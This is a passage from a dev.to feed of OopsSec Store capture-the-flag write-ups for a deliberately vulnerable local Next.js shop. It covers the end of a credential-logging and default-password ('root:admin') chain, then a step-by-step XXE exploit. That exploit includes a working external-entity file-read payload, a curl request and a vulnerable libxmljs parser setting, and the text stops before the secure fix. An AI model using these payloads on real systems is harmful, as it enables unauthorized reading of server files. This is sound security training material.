&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff5erl2mx9345wg6vjans.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff5erl2mx9345wg6vjans.png" alt="Flag" width="799" height="110"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerability chain
&lt;/h2&gt;

&lt;p&gt;Four things had to go wrong for this to work:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;CWE-532 -- A &lt;code&gt;logger.warn&lt;/code&gt; call in the login route dumps the email, password, and flag in the log message on every attempt.&lt;/li&gt;
&lt;li&gt;CWE-312 -- The structured logger writes these entries to &lt;code&gt;logs/app.log&lt;/code&gt; in cleartext.&lt;/li&gt;
&lt;li&gt;CWE-200 -- The SIEM dashboard at &lt;code&gt;/monitoring/siem&lt;/code&gt; is unlisted but easy to find with directory enumeration.&lt;/li&gt;
&lt;li&gt;CWE-798 -- The SIEM login uses default credentials (&lt;code&gt;root:admin&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;p&gt;Don't log request bodies or sensitive fields. Even with a structured logging library like Pino, use field redaction so passwords can't end up in output even if someone forgets.&lt;/p&gt;

&lt;p&gt;Treat logs as sensitive data. Access controls, encryption at rest, retention policies -- if logs contain anything that could identify a user, they need the same care as a database.&lt;/p&gt;

&lt;p&gt;Internal tools need real credentials. Default passwords on an internal dashboard are fine until the dashboard is reachable from the internet. Use a secrets manager or SSO; never ship &lt;code&gt;root:admin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Review log messages for sensitive data during code review. A structured logger doesn't prevent developers from embedding credentials in the message string itself.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>node</category>
      <category>javascript</category>
    </item>
    <item>
      <title>An error message gave me the path. The XML parser gave me the file</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Sun, 13 Sep 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/an-error-message-gave-me-the-path-the-xml-parser-gave-me-the-file-4308</link>
      <guid>https://dev.to/oopssec-store/an-error-message-gave-me-the-path-the-xml-parser-gave-me-the-file-4308</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Exploiting an insecure XML parser in the supplier order import feature to read arbitrary server-side files and retrieve a flag.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The OopsSec Store admin panel has a supplier order import page that parses XML. The parser resolves external entities, so we can use it to read arbitrary files off the server.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;From an empty directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Head to &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Prerequisites -- gaining admin access
&lt;/h2&gt;

&lt;p&gt;The import feature is admin-only. You'll need to get admin access first through another vulnerability.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reconnaissance
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The supplier import page
&lt;/h3&gt;

&lt;p&gt;Once you have admin access, the dashboard at &lt;code&gt;/admin&lt;/code&gt; has a "Supplier Orders" link pointing to &lt;code&gt;/admin/suppliers&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffrxpnv50y1v5rbah7hn0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffrxpnv50y1v5rbah7hn0.png" alt="Import Supplier Order" width="800" height="536"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The page has a textarea for pasting XML and an "Import Order" button. A sample template is already filled in:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;order&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;supplierId&amp;gt;&lt;/span&gt;SUP-001&lt;span class="nt"&gt;&amp;lt;/supplierId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;orderId&amp;gt;&lt;/span&gt;PO-2026-0042&lt;span class="nt"&gt;&amp;lt;/orderId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;total&amp;gt;&lt;/span&gt;1250.00&lt;span class="nt"&gt;&amp;lt;/total&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;notes&amp;gt;&lt;/span&gt;Standard delivery — net 30 terms&lt;span class="nt"&gt;&amp;lt;/notes&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/order&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  The API
&lt;/h3&gt;

&lt;p&gt;Submitting the form sends a POST to &lt;code&gt;/api/admin/suppliers/import-order&lt;/code&gt; with &lt;code&gt;Content-Type: application/xml&lt;/code&gt;. The response comes back with the parsed fields:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Supplier order imported successfully."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"order"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"supplierId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SUP-001"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"orderId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PO-2026-0042"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"total"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1250&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"notes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Standard delivery — net 30 terms"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"createdAt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The &lt;code&gt;notes&lt;/code&gt; field comes straight from the XML input. That's our injection point.&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploiting the XXE vulnerability
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The target file
&lt;/h3&gt;

&lt;p&gt;Send malformed XML (missing required fields, bad structure) and the endpoint gives back verbose errors. The response includes a &lt;code&gt;debug&lt;/code&gt; object that leaks the absolute path to a file:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Missing required fields: supplierId and orderId."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"debug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"config"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/absolute/path/to/flag-xxe.txt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"received"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"supplierId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"orderId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That's &lt;code&gt;flag-xxe.txt&lt;/code&gt; at the project root.&lt;/p&gt;
&lt;h3&gt;
  
  
  The payload
&lt;/h3&gt;

&lt;p&gt;XML supports Document Type Definitions (DTDs) that let you define entities. A &lt;code&gt;SYSTEM&lt;/code&gt; entity tells the parser to load content from an external resource:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE order [
  &amp;lt;!ENTITY xxe SYSTEM "file:///absolute/path/to/flag-xxe.txt"&amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;order&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;supplierId&amp;gt;&lt;/span&gt;SUP-001&lt;span class="nt"&gt;&amp;lt;/supplierId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;orderId&amp;gt;&lt;/span&gt;PO-2026-0001&lt;span class="nt"&gt;&amp;lt;/orderId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;total&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/total&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;notes&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/notes&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/order&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;When the parser hits &lt;code&gt;&amp;amp;xxe;&lt;/code&gt;, it reads the file and drops its contents into &lt;code&gt;notes&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Send it
&lt;/h3&gt;

&lt;p&gt;Paste it into the import form, or fire it off with curl:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:3000/api/admin/suppliers/import-order &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/xml"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: authToken=&amp;lt;your-admin-jwt&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;?xml version="1.0"?&amp;gt;&amp;lt;!DOCTYPE order [&amp;lt;!ENTITY xxe SYSTEM "file:///absolute/path/to/flag-xxe.txt"&amp;gt;]&amp;gt;&amp;lt;order&amp;gt;&amp;lt;supplierId&amp;gt;SUP-001&amp;lt;/supplierId&amp;gt;&amp;lt;orderId&amp;gt;PO-XXE&amp;lt;/orderId&amp;gt;&amp;lt;total&amp;gt;0&amp;lt;/total&amp;gt;&amp;lt;notes&amp;gt;&amp;amp;xxe;&amp;lt;/notes&amp;gt;&amp;lt;/order&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0w724mgshkr853bdf4d6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0w724mgshkr853bdf4d6.png" alt="Flag" width="800" height="446"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  The flag
&lt;/h3&gt;

&lt;p&gt;The file contents come back in &lt;code&gt;notes&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Supplier order imported successfully."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"order"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"supplierId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SUP-001"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"orderId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PO-XXE"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"total"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"notes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"# Supplier Integration API Configuration&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;# Generated automatically — do not edit&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;api_key=OSS{xml_3xt3rn4l_3nt1ty_1nj3ct10n}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;endpoint=https://suppliers.oss-store.internal/api/v2&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;timeout=30000&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The flag is &lt;code&gt;OSS{xml_3xt3rn4l_3nt1ty_1nj3ct10n}&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Secure implementation
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// VULNERABLE — resolves external entities from user input&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;libxmljs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseXmlString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rawXml&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;noent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;dtdload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// SECURE — disable DTD processing entirely&lt;/span&gt;
